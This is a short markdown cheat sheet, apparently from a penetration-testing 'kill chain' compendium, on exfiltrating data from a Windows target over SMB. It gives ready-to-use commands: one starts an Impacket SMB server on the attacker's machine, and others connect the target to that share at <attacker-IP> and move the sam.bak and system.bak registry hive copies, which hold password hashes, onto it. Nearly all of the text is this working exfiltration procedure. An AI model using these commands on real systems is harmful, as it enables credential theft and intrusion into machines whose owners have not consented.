killchain-compendium/Exfiltration/Windows/SMB.md

Connect to Attacker SMB

Attacker

• Impacket smbserver on attacker

sudo examples/smbserver.py share . -smb2support -username <user> -password <password>

Target

• Connect to attacker smb

net use \\<attacker-IP>\share /User:<user> <Password>

• Save data to attacker's smb

move sam.bak \\<attacker-IP>\share\sam.bak
move system.bak \\<attacker-IP>\share\system.bak

• Disconnect

net use \\<attacker-IP>\share /del

Workarounds

• System Error 1312. User credentials need a domain

/USER:domain\user